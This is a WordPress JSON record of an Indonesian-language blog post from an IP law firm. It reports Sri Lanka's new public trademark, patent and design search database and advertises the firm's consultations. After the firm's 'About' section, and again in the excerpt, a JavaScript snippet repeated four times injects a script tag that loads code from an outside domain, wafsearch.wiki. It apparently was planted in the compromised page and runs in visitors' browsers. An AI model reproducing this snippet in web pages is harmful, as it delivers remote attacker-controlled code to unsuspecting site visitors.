{"id":6041,"date":"2026-02-25T08:25:28","date_gmt":"2026-02-25T08:25:28","guid":{"rendered":"https:\/\/affa.co.id\/?p=6041"},"modified":"2026-02-25T08:25:28","modified_gmt":"2026-02-25T08:25:28","slug":"sri-lanka-resmi-luncurkan-situs-database-ki-yang-bisa-diakses-publik-daftar-merek-jadi-lebih-mudah","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2026\/02\/25\/sri-lanka-resmi-luncurkan-situs-database-ki-yang-bisa-diakses-publik-daftar-merek-jadi-lebih-mudah\/","title":{"rendered":"Sri Lanka Resmi Luncurkan Situs Database KI yang Bisa Diakses Publik &#8211; Daftar Merek Jadi Lebih Mudah?"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Kabar penting bagi Anda pelaku usaha yang memiliki atau berencana melindungi aset Kekayaan Intelektual di Sri Lanka, karena sejak 5 Februari tahun ini, <\/span><b><i>National Intellectual Property Office of Sri Lanka (NIPO) <\/i><\/b><span style=\"font-weight: 400\">telah meluncurkan platform pencarian daring, yang dapat diakses publik secara gratis.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Dengan mengakses <\/span><a href=\"http:\/\/nipo.lk.wipo.net\"><span style=\"font-weight: 400\">nipo.lk.wipo.net<\/span><\/a><span style=\"font-weight: 400\">, kini Anda dapat mengetahui Merek, Paten, dan Desain Industri yang sudah terdaftar di Sri Lanka.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Langkah ini merupakan bagian dari modernisasi dan digitalisasi sistem KI Sri Lanka, yang diimplementasikan dengan dukungan dari World Intellectual Property Organization (WIPO).<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Transparansi untuk Meningkatkan Pendaftaran<\/b><\/p>\n<p><span style=\"font-weight: 400\">Peluncuran database publik ini bukan sekadar pembaruan teknis, tapi juga perubahan struktural yang berdampak langsung pada strategi perlindungan Merek di Sri Lanka, dengan 3 manfaat sebagai berikut<\/span><\/p>\n<ol>\n<li><b>Transparansi yang Lebih Tinggi<br \/>\n<\/b>Pemilik <i><span>brand<\/span><\/i><span> kini dapat melakukan penelusuran awal secara mandiri sebelum mengajukan permohonan.<\/p>\n<p><\/span>Manfaatnya:<\/p>\n<ul>\n<li><span style=\"font-weight: 400\">Identifikasi potensi konflik lebih dini.<\/span><\/li>\n<li><span style=\"font-weight: 400\">Analisis risiko penolakan.<\/span><\/li>\n<li><span style=\"font-weight: 400\">Perencanaan strategi pendaftaran yang lebih presisi.\n<p><\/span>Bagi Anda pelaku usaha Indonesia yang ingin masuk ke pasar Sri Lanka, langkah ini memungkinkan <i><span>due diligence <\/span><\/i><span>dilakukan dari jarak jauh dengan lebih efisien.<\/p>\n<p><\/span><\/li>\n<\/ul>\n<\/li>\n<li><b>Monitoring yang Lebih Mudah<br \/>\n<\/b>Pemegang hak kini dapat:<\/p>\n<ul>\n<li><span style=\"font-weight: 400\">Memantau Merek yang berpotensi serupa atau membingungkan.<\/span><\/li>\n<li><span style=\"font-weight: 400\">Mengambil tindakan keberatan atau penegakan hak secara lebih cepat.<\/span><\/li>\n<li><span style=\"font-weight: 400\">Transparansi atas data pendaftaran ini dapat meningkatkan kemampuan defensif dari pemilik Merek.\n<p><\/span><\/li>\n<\/ul>\n<\/li>\n<li><b>Potensi Peningkatan Jumlah Permohonan<\/b><b><br \/>\n<\/b><span style=\"font-weight: 400\">Secara historis, akses publik terhadap database biasanya diikuti oleh:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Meningkatnya kesadaran pelaku usaha<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Bertambahnya jumlah pengajuan<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Konsekuensinya: siapa cepat, dia daftar, dia aman.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<ol>\n<li style=\"list-style-type: none\"><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Karena Sri Lanka juga menganut prinsip <\/span><i><span style=\"font-weight: 400\">first-to-file<\/span><\/i><span style=\"font-weight: 400\">, akses database ini berarti persaingan untuk mendaftarkan Kekayaan Intelektual di sana jadi semakin terbuka. Tanpa strategi pendaftaran yang matang, Merek, Paten, atau Desain Industri yang Anda miliki masih tetap berisiko gagal didaftarkan di sana.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Lebih lanjut, NIPO juga mengumumkan bahwa sistem pengajuan permohonan secara online akan segera menyusul, yang akan semakin menyederhanakan proses pendaftaran di Sri Lanka.<\/span><\/p>\n<p><b>Jika Anda membutuhkan bantuan terkait strategi penelusuran dan perlindungan KI di Sri Lanka, langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS:<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udce9 E-Mail<\/span> <span style=\"font-weight: 400\">: emirsyah.dinar@affa.co.id<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcde Book a Call<\/span> <span style=\"font-weight: 400\">: +62 21 83793812<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcac WhatsApp<\/span> <span style=\"font-weight: 400\">: +62 812 87000 889<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Tentang AFFA: <\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan <\/span><b><i>\u201cBest Boutique Law Firm in Indonesia\u201d<\/i><\/b> <span style=\"font-weight: 400\">dan <\/span><b><i>\u201cIP Enforcement Firm\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh <\/span><b><i>Asia Business Law Journal<\/i><\/b><span style=\"font-weight: 400\">, serta tercatat sebagai <\/span><b><i>\u201cRecommended Firm 2024 \u2014 Indonesia\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam publikasi <\/span><b><i>WTR 1000: The World\u2019s Leading Trademark Professionals<\/i><\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Informasi lebih lanjut mengenai AFFA dapat diakses melalui: <\/span><a href=\"http:\/\/www.affa.co.id\"><span style=\"font-weight: 400\">www.affa.co.id<\/span><\/a><span style=\"font-weight: 400\">.<\/span>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Kabar penting bagi Anda pelaku usaha yang memiliki atau berencana melindungi aset Kekayaan Intelektual di Sri Lanka, karena sejak 5 Februari tahun ini, National Intellectual Property Office of Sri Lanka (NIPO) telah meluncurkan platform pencarian daring, yang dapat diakses publik secara gratis. Dengan mengakses nipo.lk.wipo.net, kini Anda dapat mengetahui Merek, Paten, dan Desain Industri yang sudah terdaftar di Sri Lanka. Langkah ini merupakan bagian dari modernisasi dan digitalisasi sistem KI Sri Lanka, yang diimplementasikan dengan dukungan dari World Intellectual Property Organization (WIPO). &nbsp; Transparansi untuk Meningkatkan Pendaftaran Peluncuran database publik ini bukan sekadar pembaruan teknis, tapi juga perubahan struktural yang berdampak langsung pada strategi perlindungan Merek di Sri Lanka, dengan 3 manfaat sebagai berikut Transparansi yang Lebih Tinggi Pemilik brand kini dapat melakukan penelusuran awal secara mandiri sebelum mengajukan permohonan. Manfaatnya: Identifikasi potensi konflik lebih dini. Analisis risiko penolakan. Perencanaan strategi pendaftaran yang lebih presisi. Bagi Anda pelaku usaha Indonesia yang ingin masuk ke pasar Sri Lanka, langkah ini memungkinkan due diligence dilakukan dari jarak jauh dengan lebih efisien. Monitoring yang Lebih Mudah Pemegang hak kini dapat: Memantau Merek yang berpotensi serupa atau membingungkan. Mengambil tindakan keberatan atau penegakan hak secara lebih cepat. Transparansi atas data pendaftaran ini dapat meningkatkan kemampuan defensif dari pemilik Merek. Potensi Peningkatan Jumlah Permohonan Secara historis, akses publik terhadap database biasanya diikuti oleh: Meningkatnya kesadaran pelaku usaha Bertambahnya jumlah pengajuan Konsekuensinya: siapa cepat, dia daftar, dia aman. &nbsp; Karena Sri Lanka juga menganut prinsip first-to-file, akses database ini berarti persaingan untuk mendaftarkan Kekayaan Intelektual di sana jadi semakin terbuka. Tanpa strategi pendaftaran yang matang, Merek, Paten, atau Desain Industri yang Anda miliki masih tetap berisiko gagal didaftarkan di sana. Lebih lanjut, NIPO juga mengumumkan bahwa sistem pengajuan permohonan secara online akan segera menyusul, yang akan semakin menyederhanakan proses pendaftaran di Sri Lanka. Jika Anda membutuhkan bantuan terkait strategi penelusuran dan perlindungan KI di Sri Lanka, langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS: &nbsp; \ud83d\udce9 E-Mail : emirsyah.dinar@affa.co.id \ud83d\udcde Book a Call : +62 21 83793812 \ud83d\udcac WhatsApp : +62 812 87000 889 &nbsp; Tentang AFFA: Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis. &nbsp; AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan \u201cBest Boutique Law Firm in Indonesia\u201d dan \u201cIP Enforcement Firm\u201d dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh Asia Business Law Journal, serta tercatat sebagai \u201cRecommended Firm 2024 \u2014 Indonesia\u201d dalam publikasi WTR 1000: The World\u2019s Leading Trademark Professionals. Informasi lebih lanjut mengenai AFFA dapat diakses melalui: www.affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":6042,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277],"tags":[],"class_list":["post-6041","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6041","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=6041"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6041\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/6042"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=6041"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=6041"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=6041"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}